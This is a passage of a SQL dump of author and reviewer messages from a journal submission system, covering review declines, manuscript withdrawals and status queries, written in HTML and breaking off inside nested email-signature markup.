Singh, DHSC, MHA, BDS</p>\r\n<p>Associate Professor &amp; Co-Chair, School of Nursing &amp; Healthcare Leadership</p>\r\n<p>Minnesota State University Moorhead</p>',0,4583,3,'2019-08-25 07:14:03',1),(112,'Unavailable as reviewer','<div>Thank you for the invitation to serve as a reviewer for the paper mentioned in your email. &nbsp;As editor-in-chief of the&nbsp;<span>Journal of Biomedical Informatics</span>(Elsevier), I find\nthat my discretionary time for editing/reviewing is very limited. &nbsp;Due to JBI and my other writing and reviewing commitments, I regret that I must decline the invitation.</div>\r\n<div>&nbsp;</div>\r\n<div>Best regards,</div>\r\n<div>Ted Shortliffe</div>\r\n<div>&nbsp;</div>',0,5660,3,'2019-08-26 14:35:54',0),(113,'Review Report-reference is jme-19-618','<p>1. Summary:-<br />I have looked deeply over the article above mentioned title by the authors &ldquo;XXX&rdquo; and found it, myself satisfactory with their research work.<br />The whole study\ncovered all enthusiasms and creativity in present data.<br />There is no weakness in the present article. I found the work is worthy and also the present article is enough for the final publication in\nthe Journal of Material Sciences &amp; Engineering.</p>\r\n<p>2. General Comment:- I am highly agreed with this type of work.</p>\r\n<p><br />3. Improvements that you could suggest on the paper (Nothing)</p>\r\n<p>&nbsp;</p>\r\n<p>Please grade this paper:<br />Criteria Score (1-10 points)<br />Novelty 9<br />Originality 9<br />Technical Strength 9<br />Language Performance 8</p>\r\n<p>Sincerely,</p>\r\n<p>Dr. Mohammad Ayaz Ahmad<br />Department of Physics, Faculty of Sciences, Tabuk University, Tabuk, Saudi Arabia</p>',0,111,3,'2019-08-26 15:23:20',0),(114,'Request for the update','<p>Dear Editor,</p>\r\n<p>We have submitted an article entitled <strong>A Teachable Moment: Identifying Hyperostosis Frontalis Interna in a Gross Anatomy Cadaver Laboratory</strong> to International Journal of Anatomical\nVariations. We will apprecite if you could let us know the status of the submission.</p>\r\n<p>Thank you,</p>\r\n<p>Sincerely,</p>\r\n<p>Prasad S. Dalvi</p>\r\n<p>Assistant Professor</p>\r\n<p>Biology, Gannon University</p>\r\n<p>Erie, PA 16541</p>\r\n<p>Phone: 814-871-5693</p>\r\n<p>Email: <a href=\"mailto:dalvi001@gannon.edu\">dalvi001@gannon.edu</a></p>\r\n<p>&nbsp;</p>',10,380,1,'2019-08-27 03:20:55',0),(115,'Status of article jnmnt-19-1050','<p>Dear Editor</p>\r\n<p>We have submitted a research article on Aug 09, Ref: jnmnt-19-1050, now i would like to know the status of it, because one of the author is going to submit thesis in the end of this month. So that\nif you expedite the process or decision that would be very useful to us. Thank you.</p>',7,1200,1,'2019-08-27 15:12:33',1),(116,'SOMA SHEKAR  DACHAVARAM','<br><p></p><p><span style=\"font-size: medium;\" data-mce-style=\"font-size: medium;\">Dear Prof. Soma Shekar Dachavaram,</span></p><p><span style=\"font-size: medium;\" data-mce-style=\"font-size:\nmedium;\">&nbsp;</span></p><p><span style=\"font-size: medium;\" data-mce-style=\"font-size: medium;\">I have been invited to review an article entitled ”</span><span style=\"font-size: medium;\"\ndata-mce-style=\"font-size: medium;\">DESIGN, SYNTHESIS AND IN-VITRO BIOLOGICAL ACTIVITY OF SOME NEW 1,3-THIAZOLIDINE-4-ONE DERIVATIVES AS CHEMOTHERAPEUTIC AGENTS USING VIRTUAL SCREENING STRATEGIES” o\n16</span><sup><span style=\"font-size: small;\" data-mce-style=\"font-size: small;\">th</span></sup><span style=\"font-size: medium;\" data-mce-style=\"font-size: medium;\"> August. Due to my travel I cannot\nget good internet access. I am not sure whether I still have a chance to review this paper. Can you please help me with this?</span></p><p><span style=\"font-size: medium;\" data-mce-style=\"font-size:\nmedium;\">&nbsp;</span></p><p><span style=\"font-size: medium;\" data-mce-style=\"font-size: medium;\">Regards,</span></p><p><span style=\"font-size: medium;\" data-mce-style=\"font-size:\nmedium;\">Prashant</span></p><p>&nbsp;</p><p></p>',0,3757,3,'2019-08-27 16:17:26',0),(117,'cannot approve the manuscript','<p>Dear Journal of Molecular and Genetic Medicine,</p>\r\n<p>&nbsp;</p>\r\n<p>We <strong><span style=\"text-decoration: underline;\">cannot</span></strong> approve the manuscript and will not be able to make the payment.</p>\r\n<p>&nbsp;</p>\r\n<p>Thank you.</p>',28,589,1,'2019-08-27 20:08:16',1),(118,'submission withdrawn','<p>Due to author disaagreement with this manuscript and financial restrictions within the department, this manuscript needs to withdrawn from consideration &nbsp;for publication.</p>\r\n<p>&nbsp;</p>\r\n<p>Joel Mortensen</p>',30,1554,1,'2019-08-27 21:08:40',1),(119,' Manuscript Review','<p>I am sorry I cannot review this manuscript. Please assign it to another reviewer. Thanks.&nbsp;</p>\r\n<p>Asrat&nbsp;</p>\r\n<p>&nbsp;</p>',85,5751,3,'2019-08-28 06:48:41',1),(120,'Problem of Re-submission of Revised\nManuscript [MS ID# rnai-19-752]','<p>Dear Editor,&nbsp;</p>\r\n<p>&nbsp; &nbsp; &nbsp;We are ready to resubmit our revised paper entitled &ldquo;<strong>In silico identification of riboswitches in the human gut microbiome for&nbsp;</strong><strong>therapeutic\napplications&rdquo; [rnai-19-752]</strong>. How do we resubmit the paper as \"Submission &amp; Review Tracking Systems\"&nbsp;does not allow resubmitting?</p>\r\n<p>Kindly do the needful.</p>\r\n<p>&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>Thanking&nbsp;you,</p>\r\n<p>Sincerely,</p>\r\n<p>Dr. Anup Som</p>\r\n<p>(Corresponding Author)</p>',129,869,1,'2019-08-28 12:06:14',0),(121,'Review paper','<p>I am unable to review the paper ypu sent me because is not my area of expertise.</p>\r\n<p>Best regards</p>\r\n<p>Jorge B. Retamales, Ph.D.</p>',0,4639,3,'2019-08-28 21:55:16',1),(122,'cancellation','<p>sorry,</p>\r\n<p>i decide to cancel my submission</p>\r\n<p>thank you for your help!</p>',143,2188,1,'2019-08-29 12:45:03',0),(123,'cancellation','<p>i decide cancellation of my submitted manuscript, so please do not process further</p>',143,2188,1,'2019-08-29 12:46:39',0),(124,'Review invitation','<p>Thank you for asking me to review this article &nbsp;</p>\r\n<p>However, I will not be able to do so due to other prior obligation.&nbsp;</p>\r\n<p>Best wishes,</p>\r\n<p>&nbsp;</p>\r\n<p>Yochai Schonmann</p>',0,5775,3,'2019-08-29 13:02:18',0),(125,'PAper review','<p>Dear Editors,</p>\r\n<p>I am pathologist and the subject of this paper is not my field of interest.</p>\r\n<p>Kind rgards and hope to hear from you again</p>\r\n<p>Gorana Aralica</p>',0,6187,3,'2019-08-29 15:11:28',0),(126,'not my area','<p>Sorry, I cannot do this review as it is out of my research area.</p>',0,6238,3,'2019-08-29 15:59:10',1),(127,'For withdraw my manuscript ','<p>Dear sir/madam</p>\r\n<p>Please could withdraw my article.</p>\r\n<p>&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>Thanks</p>',179,1449,1,'2019-08-30 04:23:17',0),(128,'Withdrawal of submission','<p>Dear Sir,</p>\r\n<p>With regards to the manuscript entitled<strong> Pathophysiology of diabetes mellitus</strong><strong>,&nbsp;</strong>please do not entertain this article as it has been submitted by mistak. I\noverlooked the instructions to authors. Please do the needful at the earliest. Please help me to withdraw my manuscript.</p>\r\n<p>&nbsp;</p>\r\n<p>Thanks and regards,</p>\r\n<p>Kenneth Ashwin</p>',450,1783,1,'2019-08-30 06:59:03',1),(129,'Unable to Review','<p>Dear Managing Editor&nbsp;</p>\r\n<p>I am on a trip and will be back after 9/9, thanks for your understanding, you may send me research for evaluation after this date, I am afraid that at this time I am unable to review the\nsubmission.</p>\r\n<p>With kind regards,&nbsp;</p>\r\n<p>Dr. Omar hazem Mohammed</p>',0,6029,3,'2019-08-30 14:56:58',0),(130,'Journal of Applied & Computational\nMathematics','<p>Hello Scarlette,</p>\r\n<p>&nbsp;</p>\r\n<p>Thanks for your invitation, I would like to review the given paper and submit you within two days.</p>\r\n<p>&nbsp;</p>\r\n<p>Sincerely,</p>\r\n<p><span>Andrew Lee</span></p>\r\n<p><span>Asst Professor,</span></p>\r\n<p><span>Dept of Mathematics</span></p>\r\n<p><span>University of Sao Paulo</span></p>',0,6347,3,'2019-08-30 15:24:19',1),(131,'remove the paper','<p>kindly remove my paper</p><p>the impact factor is low</p>',17,1687,1,'2019-08-30 16:14:59',0),(132,'jmmd-19-1612 correct the Title.','<p>jmmd-19-1612</p><p>Please inform the Authors that the Title should\nbe corrected. The Title should be more concise; it currently consists\nof four independent phrases connected by three \"and\"s. A single,\naccurate, unifying phrase should be designed.&nbsp;</p><p>Joel K\nWeltman, MD, PhD</p><p>Editor-in-Chief,\nJMMD</p><p><br></p><p><br></p><p>:&nbsp;</p>',30,371,2,'2019-08-30 17:05:04',1),(133,'Review of the article','<p>Dear Editor,</p>\r\n<p>The study assigned to me deals with the cone b-metric space where references were taken from the&nbsp;Banach contraction principal, the idea of&nbsp;cone metric space was proposed earlier times, it\nproves that the contractive mappings&nbsp; for some xed point theorems in cone metric space. The preliminaries were well designed, should have been eloborated and the results shown may be\naccurate.</p>\r\n<p>Plesae consider this article for your journal, let me know if more information needed.</p>\r\n<p>&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>Best Wishes</p>\r\n<p><span>Andrew Legrande</span></p>\r\n<p>&nbsp;</p>',455,6347,3,'2019-08-31 12:27:37',0),(134,'Decline review','<p>It is not possible to review this manuscript</p>\r\n<p>Regards,</p>\r\n<p>Maria Lyra Georgosopoulou</p>',0,3914,3,'2019-08-31 16:58:55',0),(135,'Decling reviewing','<p>It is not possible to review this manuscript</p>\r\n<p>Regards</p>\r\n<p>Maria Lyra Georgosopoulou</p>',0,3914,3,'2019-09-01 02:34:01',1),(136,'Manuscript review','<p>Dear Sir,</p>\r\n<p>&nbsp;</p>\r\n<p>I may have accepted to review this manuscript in error while trying to accept the review of a different one from this same journal. Please pardon my error. My time commitment now would only allow\nme to review the first manuscript only and not this current on \"Utilization of the Zambezi River Basin for Tourism: Opportunities and Challenges&rdquo;</p>\r\n<p>Respectifully,</p>\r\n<p>Daniel Asamoah</p>',554,5546,3,'2019-09-02 03:45:16',1),(137,'Withdrawal of submission','<p>Dear Sir,</p>\r\n<p>With regards to the matter above, I have sent an email to withdraw my manuscript from the processing. May I know what is the status? I am facing some legal issues with my university so please\nupdate me as soon as possible.</p>\r\n<p>&nbsp;</p>\r\n<p>Thanking you in advance,&nbsp;</p>\r\n<p>Kenneth Ashwin</p>',450,1783,1,'2019-09-02 14:07:30',1),(138,'WITHDRAWAL OF MANUSCRIPT SUBMISSION','<p><span>Dear Sir,&nbsp;</span></p>\r\n<div>&nbsp;</div>\r\n<div>With regards to the subject matter, please do help me to withdraw my manuscript entitled PATHOPHYSIOLOGY OF DIABETES MELLITUS. This is because I overlooked the instructions for authors and my\nmanuscript does not fulfill all the instructions stated there. In addition, I am also facing some legal issues from my university as the manuscript is an assignment paper which is not allowed to be\nsubmitted for&nbsp;publication which I also overlooked. Besides, I also do not have any money to pay any of the processing fees, as I am only a medical student&nbsp; who is not working.</div>\r\n<div>&nbsp;</div>\r\n<div>Please do help me to withdraw my manuscript from the editor as soon as possible to prevent&nbsp; any wastage of resources as I do not have any money to pay.</div>\r\n<div>&nbsp;</div>\r\n<div>I have also replied the email from Mr James Robinson stating my decision on my withdrawal and I am yet to receive any replies.</div>\r\n<div>&nbsp;</div>\r\n<div>Please do update me on the status&nbsp;of my withdrawal as soon as possible because I have to update my university regarding this issue in a matter of 48 hours from last Friday.</div>\r\n<div>&nbsp;</div>\r\n<div>Please do the needfull as soon as possible.</div>\r\n<div>&nbsp;</div>\r\n<div>thanking you in anticipation,</div>\r\n<div>Kenneth Ashwin&nbsp;</div>',450,1783,1,'2019-09-03 06:35:03',1),(139,'Not able','<p>Not able&nbsp;</p>',0,5272,3,'2019-09-03 20:53:48',0),(140,'Not able','<p>Not able&nbsp;</p>',0,5272,3,'2019-09-03 20:54:14',0),(141,'Reject review of manuscript idse-19-1748','<p>Dear Editor</p>\r\n<p>I am unable to review this manuscript because is not my area of expertise.</p>\r\n<p>&nbsp;</p>\r\n<p>With kindest regards</p>\r\n<p>Jorge B. Retamales, Ph.D.</p>',0,4639,3,'2019-09-03 21:34:14',0),(142,'Awaiting outcome','<p>Dear editors,</p>\r\n<p>I was wondering if I could an obtain an update with regards to the manuscript outcome as it has been nearly 2 months since submission.&nbsp;</p>\r\n<p>Thank you.</p>\r\n<p>Best regards,</p>\r\n<p>Adele Lee</p>',21,339,1,'2019-09-04 07:03:15',1),(143,'Link not working ','<p>hi Team,</p>\r\n<p>i tried to open full text articl for review, but it was not happenin.</p>\r\n<p>please guide me how to download paper and how to submit comments online.</p>\r\n<p>&nbsp;</p>',0,6218,3,'2019-09-04 07:08:46',0),(144,'Request for  help','<p>how can I get the reviewed and commounted&nbsp; my own article</p>',554,1537,1,'2019-09-04 12:44:56',1),(145,'asking withdraw','<p>I want to make withdraw my paper at this time because it needs some revision, please make it withdraw it.</p>',551,1919,1,'2019-09-04 14:20:13',0),(146,'Decline review Invition','<p><a href=\"reviewer-confirm.php?stat=N&amp;rid=5786&amp;mid=1244\" target=\"_blank\">D</a>ear editor,</p>\r\n<p>&nbsp;</p>\r\n<p>Thank you very much for your invition of review of the&nbsp;<span>paper entitled&nbsp;</span><strong>Field Assessment of Environment Policy Operationalisation in Forest Tree Biodiversity\nConservation in Uganda</strong><span>&nbsp;.</span></p>\r\n<p><span>Unfortunately, my research was focused on molecular biology. I am not familar with biodiversity.</span></p>\r\n<p><span>I hope that you find another &nbsp;suitable expert to review this paper.</span></p>\r\n<p><span>&nbsp;</span></p>\r\n<p><span>sincerly yours!</span></p>\r\n<p><span>Houhua Li</span></p>',0,5786,3,'2019-09-04 15:16:23',0),(147,'Decline','<p>Apologies, I am on leave for the next two weeks and will not be able to do this review</p><p><br></p><p>yours</p><p>Andrew Day</p>',0,6752,3,'2019-09-04 15:59:32',0),(148,'Hi','<p>Dear Editor,</p>\r\n<p>I am unable to find the manuscipt to review.</p>\r\n<p>&nbsp;</p>\r\n<p>I fpossible, send it to on <a href=\"mailto:psingh@arsd.du.ac.in\">psingh@arsd.du.ac.in</a></p>\r\n<p>&nbsp;</p>\r\n<p>Regards,</p>\r\n<p>Prashant</p>',0,2019,3,'2019-09-05 11:07:25',1),(149,'ACCEPTANCE OF REVIEW INVITATION','<p><span>&nbsp;I accept to review this paper.</span></p>\r\n<p><span>Thank you.</span></p>',0,6822,3,'2019-09-05 14:26:00',1),(150,'Composites reg.','<p>Very good topic.</p>\r\n<p>Healthy support from editor.</p>\r\n<p>Good follow up also.</p>\r\n<p>&nbsp;</p>',0,5991,3,'2019-09-06 13:27:03',0),(151,'The Effect of Front and Rear Windscreen\nAngles on the Aerodynamic Drag Force of\na Simplified Car Model','<p>Does the review process takes longer time?</p>\r\n<p>BR</p>',553,2054,1,'2019-09-06 20:04:47',1),(152,'The Review','<p>I am afraid I will not be able to do the review</p>',0,6485,3,'2019-09-07 12:00:38',0),(153,'Invitation ','<p>I have attempted to review the manuscript via the link sent to me; however, I can only view the abstract&nbsp;</p>\r\n<p>Cheryl Passel&nbsp;</p>',0,7182,3,'2019-09-07 16:53:05',0),(154,'Decline','<p>Dear Dr.&nbsp; Paul Emery,</p>\r\n<p>&nbsp;</p>\r\n<p>As a neurologist, the manuscripts topic is not in my field of specialty.&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>Best regards, Kl&aacute;ra Fekete</p>',0,529,3,'2019-09-09 12:15:34',0),(155,'manuscript status','<p>Dear reviewers, the purpose of this e-mail is to find out if there is any progress on the titled manuscript: Incidence of Medication Errors in the Use of Biotechnological medicines in the Pediatric\nHospital Setting with number: 19-66, sent on May 14, 2019. I received observations from the reviewers on May 29, 2019, with a deadline of June 28, 2019.</p>\r\n<p>It is of my interest to tell you that the link to deliver the advances link is no longer available. I went to the main page and realized that there was the following announcement: -All submissions\nof the EM system will be redirected to&nbsp;<strong>Online Manuscript Submission System</strong>. Authors are requested to submit articles directly to&nbsp;<a\nhref=\"../submission/indian-pharmaceutical-sciences.html\" target=\"_blank\"><strong>Online Manuscript Submission System</strong></a>&nbsp;of respective journal-</p>\r\n<p>Based on the fact that I could not access the platform through the link provided and with the indications of the advertisement, I sent my manuscript through the platform <a\nhref=\"../\">https://www.scholarscentral.org/</a> which assigned me a new manuscript number: ijps-19-39, which has been in status: with the reviewer, since the date mentioned.&nbsp; I would like to know\nif there was any confusion and if I will soon have a response from my manuscript.</p>',9,46,1,'2019-09-10 01:15:56',0),(156,'Analyzing and visualizing Twitter\nNode-Edge Diagrams To Understand The\nBest Times to Tweet: An Experimental\nStudy','<p>&nbsp;</p>\r\n<p>COMMMENTS FROM REVIEWER(Dr.T.VELUMANI) 1. Add some relevant keywords 2. Add more Reference 3. Put comparison between the existing result as well as the new result 4. Include the future work\nelobaretly</p>\r\n<div><span style=\"color: #000000;\">Regards</span></div>\r\n<div><span style=\"color: #000000;\">&nbsp;</span></div>\r\n<div><span style=\"color: #000000;\">Dr.T.Velumani</span></div>\r\n<div><span style=\"color: #000000;\">Asst.Professor<br /></span></div>\r\n<div><span style=\"color: #000000;\">Department Of Computer Science<br /></span></div>\r\n<div><span style=\"color: #000000;\">Kongu Arts &amp; Science College(Autonomous)</span></div>\r\n<div><span style=\"color: #000000;\">Erode,TamilNadu,India</span></div>\r\n<div><span style=\"color: #000000;\">Cell+</span></div>\r\n<div\nid=\"m_3907002953532795660gmail-m_5205560112839315477gmail-m_-2039420064290377094gmail-m_-8615323682693618153gmail-m_-5604342404528306383gmail-m_5829414881080891176gmail-m_4055650116956151686gmail-m_-2348119984664018244gmail-m_-6910311045746198662gmail-m_8642442493842177467gmail-m_7926111396706683220gmail-m_-8354608640474000712gmail-m_6562826968327153594gmail-:2cq\"\nclass=\"m_3907002953532795660gmail-m_5205560112839315477gmail-m_-2039420064290377094gmail-m_-8615323682693618153gmail-m_-5604342404528306383gmail-m_5829414881080891176gmail-m_4055650116956151686gmail-m_-2348119984664018244gmail-m_-6910311045746198662gmail-m_8642442493842177467gmail-m_7926111396706683220gmail-m_-8354608640474000712gmail-m_6562826968327153594gmail-ii\nm_3907002953532795660gmail-m_5205560112839315477gmail-m_-2039420064290377094gmail-m_-8615323682693618153gmail-m_-5604342404528306383gmail-m_5829414881080891176gmail-m_4055650116956151686gmail-m_-2348119984664018244gmail-m_-6910311045746198662gmail-m_8642442493842177467gmail-m_7926111396706683220gmail-m_-8354608640474000712gmail-m_6562826968327153594gmail-gt\">\r\n<div\nid=\"m_3907002953532795660gmail-m_5205560112839315477gmail-m_-2039420064290377094gmail-m_-8615323682693618153gmail-m_-5604342404528306383gmail-m_5829414881080891176gmail-m_4055650116956151686gmail-m_-2348119984664018244gmail-m_-6910311045746198662gmail-m_8642442493842177467gmail-m_7926111396706683220gmail-m_-8354608640474000712gmail-m_6562826968327153594gmail-:1bd\"\nclass=\"m_3907002953532795660gmail-m_5205560112839315477gmail-m_-2039420064290377094gmail-m_-8615323682693618153gmail-m_-5604342404528306383gmail-m_5829414881080891176gmail-m_4055650116956151686gmail-m_-2348119984664018244gmail-m_-6910311045746198662gmail-m_8642442493842177467gmail-m_7926111396706683220gmail-m_-8354608640474000712gmail-m_6562826968327153594gmail-a3s\nm_3907002953532795660gmail-m_5205560112839315477gmail-m_-2039420064290377094gmail-m_-8615323682693618153gmail-m_-5604342404528306383gmail-m_5829414881080891176gmail-m_4055650116956151686gmail-m_-2348119984664018244gmail-m_-6910311045746198662gmail-m_8642442493842177467gmail-m_7926111396706683220gmail-m_-8354608640474000712gmail-m_6562826968327153594gmail-aXjCH\">\r\n<div dir=\"ltr\">\r\n<div\nid=\"m_3907002953532795660gmail-m_5205560112839315477gmail-m_-2039420064290377094gmail-m_-8615323682693618153gmail-m_-5604342404528306383gmail-m_5829414881080891176gmail-m_4055650116956151686gmail-m_-2348119984664018244gmail-m_-6910311045746198662gmail-m_8642442493842177467gmail-m_7926111396706683220gmail-m_-8354608640474000712gmail-m_6562826968327153594gmail-m_-1305642628779740390gmail-:1t3\"\nclass=\"m_3907002953532795660gmail-m_5205560112839315477gmail-m_-2039420064290377094gmail-m_-8615323682693618153gmail-m_-5604342404528306383gmail-m_5829414881080891176gmail-m_4055650116956151686gmail-m_-2348119984664018244gmail-m_-6910311045746198662gmail-m_8642442493842177467gmail-m_7926111396706683220gmail-m_-8354608640474000712gmail-m_6562826968327153594gmail-m_-1305642628779740390gmail-ii\nm_3907002953532795660gmail-m_5205560112839315477gmail-m_-2039420064290377094gmail-m_-8615323682693618153gmail-m_-5604342404528306383gmail-m_5829414881080891176gmail-m_4055650116956151686gmail-m_-2348119984664018244gmail-m_-6910311045746198662gmail-m_8642442493842177467gmail-m_7926111396706683220gmail-m_-8354608640474000712gmail-m_6562826968327153594gmail-m_-1305642628779740390gmail-gt\">\r\n<div\nid=\"m_3907002953532795660gmail-m_5205560112839315477gmail-m_-2039420064290377094gmail-m_-8615323682693618153gmail-m_-5604342404528306383gmail-m_5829414881080891176gmail-m_4055650116956151686gmail-m_-2348119984664018244gmail-m_-6910311045746198662gmail-m_8642442493842177467gmail-m_7926111396706683220gmail-m_-8354608640474000712gmail-m_6562826968327153594gmail-m_-1305642628779740390gmail-:1uh\"\nclass=\"m_3907002953532795660gmail-m_5205560112839315477gmail-m_-2039420064290377094gmail-m_-8615323682693618153gmail-m_-5604342404528306383gmail-m_5829414881080891176gmail-m_4055650116956151686gmail-m_-2348119984664018244gmail-m_-6910311045746198662gmail-m_8642442493842177467gmail-m_7926111396706683220gmail-m_-8354608640474000712gmail-m_6562826968327153594gmail-m_-1305642628779740390gmail-a3s\nm_3907002953532795660gmail-m_5205560112839315477gmail-m_-2039420064290377094gmail-m_-8615323682693618153gmail-m_-5604342404528306383gmail-m_5829414881080891176gmail-m_4055650116956151686gmail-m_-2348119984664018244gmail-m_-6910311045746198662gmail-m_8642442493842177467gmail-m_7926111396706683220gmail-m_-8354608640474000712gmail-m_6562826968327153594gmail-m_-1305642628779740390gmail-aXjCH\">\r\n<div dir=\"ltr\">\r\n<div\nid=\"m_3907002953532795660gmail-m_5205560112839315477gmail-m_-2039420064290377094gmail-m_-8615323682693618153gmail-m_-5604342404528306383gmail-m_5829414881080891176gmail-m_4055650116956151686gmail-m_-2348119984664018244gmail-m_-6910311045746198662gmail-m_8642442493842177467gmail-m_7926111396706683220gmail-m_-8354608640474000712gmail-m_6562826968327153594gmail-m_-1305642628779740390gmail-m_8028176876666803196gmail-m_-9149596001253410743gmail-m_5904395713313155563gmail-m_7354763122979632223gmail-m_6193775844240565541gmail-m_-1615644556962294706gmail-m_5945555660697703974gmail-:1fz\"\nclass=\"m_3907002953532795660gmail-m_5205560112839315477gmail-m_-2039420064290377094gmail-m_-8615323682693618153gmail-m_-5604342404528306383gmail-m_5829414881080891176gmail-m_4055650116956151686gmail-m_-2348119984664018244gmail-m_-6910311045746198662gmail-m_8642442493842177467gmail-m_7926111396706683220gmail-m_-8354608640474000712gmail-m_6562826968327153594gmail-m_-1305642628779740390gmail-m_8028176876666803196gmail-m_-9149596001253410743gmail-m_5904395713313155563gmail-m_7354763122979632223gmail-m_6193775844240565541gmail-m_-1615644556962294706gmail-m_5945555660697703974gmail-ii\nm_3907002953532795660gmail-m_5205560112839315477gmail-m_-2039420064290377094gmail-m_-8615323682693618153gmail-m_-5604342404528306383gmail-m_5829414881080891176gmail-m_4055650116956151686gmail-m_-2348119984664018244gmail-m_-6910311045746198662gmail-m_8642442493842177467gmail-m_7926111396706683220gmail-m_-8354608640474000712gmail-m_6562826968327153594gmail-m_-1305642628779740390gmail-m_8028176876666803196gmail-m_-9149596001253410743gmail-m_5904395713313155563gmail-m_7354763122979632223gmail-m_6193775844240565541gmail-m_-1615644556962294706gmail-m_5945555660697703974gmail-gt\">\r\n<div\nid=\"m_3907002953532795660gmail-m_5205560112839315477gmail-m_-2039420064290377094gmail-m_-8615323682693618153gmail-m_-5604342404528306383gmail-m_5829414881080891176gmail-m_4055650116956151686gmail-m_-2348119984664018244gmail-m_-6910311045746198662gmail-m_8642442493842177467gmail-m_7926111396706683220gmail-m_-8354608640474000712gmail-m_6562826968327153594gmail-m_-1305642628779740390gmail-m_8028176876666803196gmail-m_-9149596001253410743gmail-m_5904395713313155563gmail-m_7354763122979632223gmail-m_6193775844240565541gmail-m_-1615644556962294706gmail-m_5945555660697703974gmail-:1fy\"\nclass=\"m_3907002953532795660gmail-m_5205560112839315477gmail-m_-2039420064290377094gmail-m_-8615323682693618153gmail-m_-5604342404528306383gmail-m_5829414881080891176gmail-m_4055650116956151686gmail-m_-2348119984664018244gmail-m_-6910311045746198662gmail-m_8642442493842177467gmail-m_7926111396706683220gmail-m_-8354608640474000712gmail-m_6562826968327153594gmail-m_-1305642628779740390gmail-m_8028176876666803196gmail-m_-9149596001253410743gmail-m_5904395713313155563gmail-m_7354763122979632223gmail-m_6193775844240565541gmail-m_-1615644556962294706gmail-m_5945555660697703974gmail-a3s\nm_3907002953532795660gmail-m_5205560112839315477gmail-m_-2039420064290377094gmail-m_-8615323682693618153gmail-m_-5604342404528306383gmail-m_5829414881080891176gmail-m_4055650116956151686gmail-m_-2348119984664018244gmail-m_-6910311045746198662gmail-m_8642442493842177467gmail-m_7926111396706683220gmail-m_-8354608640474000712gmail-m_6562826968327153594gmail-m_-1305642628779740390gmail-m_8028176876666803196gmail-m_-9149596001253410743gmail-m_5904395713313155563gmail-m_7354763122979632223gmail-m_6193775844240565541gmail-m_-1615644556962294706gmail-m_5945555660697703974gmail-aXjCH\">\r\n<div dir=\"ltr\">\r\n<div dir=\"ltr\">\r\n<div dir=\"ltr\">\r\n<div dir=\"ltr\">\r\n<div dir=\"ltr\">\r\n<div dir=\"ltr\">\r\n<div dir=\"ltr\">\r\n<div dir=\"ltr\">\r\n<div\nclass=\"m_3907002953532795660gmail-m_5205560112839315477gmail-m_-2039420064290377094gmail-m_-8615323682693618153gmail-m_-5604342404528306383gmail-m_5829414881080891176gmail-m_4055650116956151686gmail-m_-2348119984664018244gmail-m_-6910311045746198662gmail-m_8642442493842177467gmail-m_7926111396706683220gmail-m_-8354608640474000712gmail-m_6562826968327153594gmail-m_-1305642628779740390gmail-m_8028176876666803196gmail-m_-9149596001253410743gmail-m_5904395713313155563gmail-m_7354763122979632223gmail-m_6193775844240565541gmail-m_-1615644556962294706gmail-m_5945555660697703974gmail-m_5466008599619158028gmail-m_5797860777552037448gmail-m_-6342172182484351691gmail-m_9158401307744683568gmail-m_5955802730551271642gmail-m_-9106327667228184852gmail-\">\r\n<div\nid=\"m_3907002953532795660gmail-m_5205560112839315477gmail-m_-2039420064290377094gmail-m_-8615323682693618153gmail-m_-5604342404528306383gmail-m_5829414881080891176gmail-m_4055650116956151686gmail-m_-2348119984664018244gmail-m_-6910311045746198662gmail-m_8642442493842177467gmail-m_7926111396706683220gmail-m_-8354608640474000712gmail-m_6562826968327153594gmail-m_-1305642628779740390gmail-m_8028176876666803196gmail-m_-9149596001253410743gmail-m_5904395713313155563gmail-m_7354763122979632223gmail-m_6193775844240565541gmail-m_-1615644556962294706gmail-m_5945555660697703974gmail-m_5466008599619158028gmail-m_5797860777552037448gmail-m_-6342172182484351691gmail-m_9158401307744683568gmail-m_5955802730551271642gmail-m_-9106327667228184852gmail-:1z1\"\nclass=\"m_3907002953532795660gmail-m_5205560112839315477gmail-m_-2039420064290377094gmail-m_-8615323682693618153gmail-m_-5604342404528306383gmail-m_5829414881080891176gmail-m_4055650116956151686gmail-m_-2348119984664018244gmail-m_-6910311045746198662gmail-m_8642442493842177467gmail-m_7926111396706683220gmail-m_-8354608640474000712gmail-m_6562826968327153594gmail-m_-1305642628779740390gmail-m_8028176876666803196gmail-m_-9149596001253410743gmail-m_5904395713313155563gmail-m_7354763122979632223gmail-m_6193775844240565541gmail-m_-1615644556962294706gmail-m_5945555660697703974gmail-m_5466008599619158028gmail-m_5797860777552037448gmail-m_-6342172182484351691gmail-m_9158401307744683568gmail-m_5955802730551271642gmail-m_-9106327667228184852gmail-ii\nm_3907002953532795660gmail-m_5205560112839315477gmail-m_-2039420064290377094gmail-m_-8615323682693618153gmail-m_-5604342404528306383gmail-m_5829414881080891176gmail-m_4055650116956151686gmail-m_-2348119984664018244gmail-m_-6910311045746198662gmail-m_8642442493842177467gmail-m_7926111396706683220gmail-m_-8354608640474000712gmail-m_6562826968327153594gmail-m_-1305642628779740390gmail-m_8028176876666803196gmail-m_-9149596001253410743gmail-m_5904395713313155563gmail-m_7354763122979632223gmail-m_6193775844240565541gmail-m_-1615644556962294706gmail-m_5945555660697703974gmail-m_5466008599619158028gmail-m_5797860777552037448gmail-m_-6342172182484351691gmail-m_9158401307744683568gmail-m_5955802730551271642gmail-m_-9106327667228184852gmail-gt\">\r\n<div\nid=\"m_3907002953532795660gmail-m_5205560112839315477gmail-m_-2039420064290377094gmail-m_-8615323682693618153gmail-m_-5604342404528306383gmail-m_5829414881080891176gmail-m_4055650116956151686gmail-m_-2348119984664018244gmail-m_-6910311045746198662gmail-m_8642442493842177467gmail-m_7926111396706683220gmail-m_-8354608640474000712gmail-m_6562826968327153594gmail-m_-1305642628779740390gmail-m_8028176876666803196gmail-m_-9149596001253410743gmail-m_5904395713313155563gmail-m_7354763122979632223gmail-m_6193775844240565541gmail-m_-1615644556962294706gmail-m_5945555660697703974gmail-m_5466008599619158028gmail-m_5797860777552037448gmail-m_-6342172182484351691gmail-m_9158401307744683568gmail-m_5955802730551271642gmail-m_-9106327667228184852gmail-:1yy\"\nclass=\"m_3907002953532795660gmail-m_5205560112839315477gmail-m_-2039420064290377094gmail-m_-8615323682693618153gmail-m_-5604342404528306383gmail-m_5829414881080891176gmail-m_4055650116956151686gmail-m_-2348119984664018244gmail-m_-6910311045746198662gmail-m_8642442493842177467gmail-m_7926111396706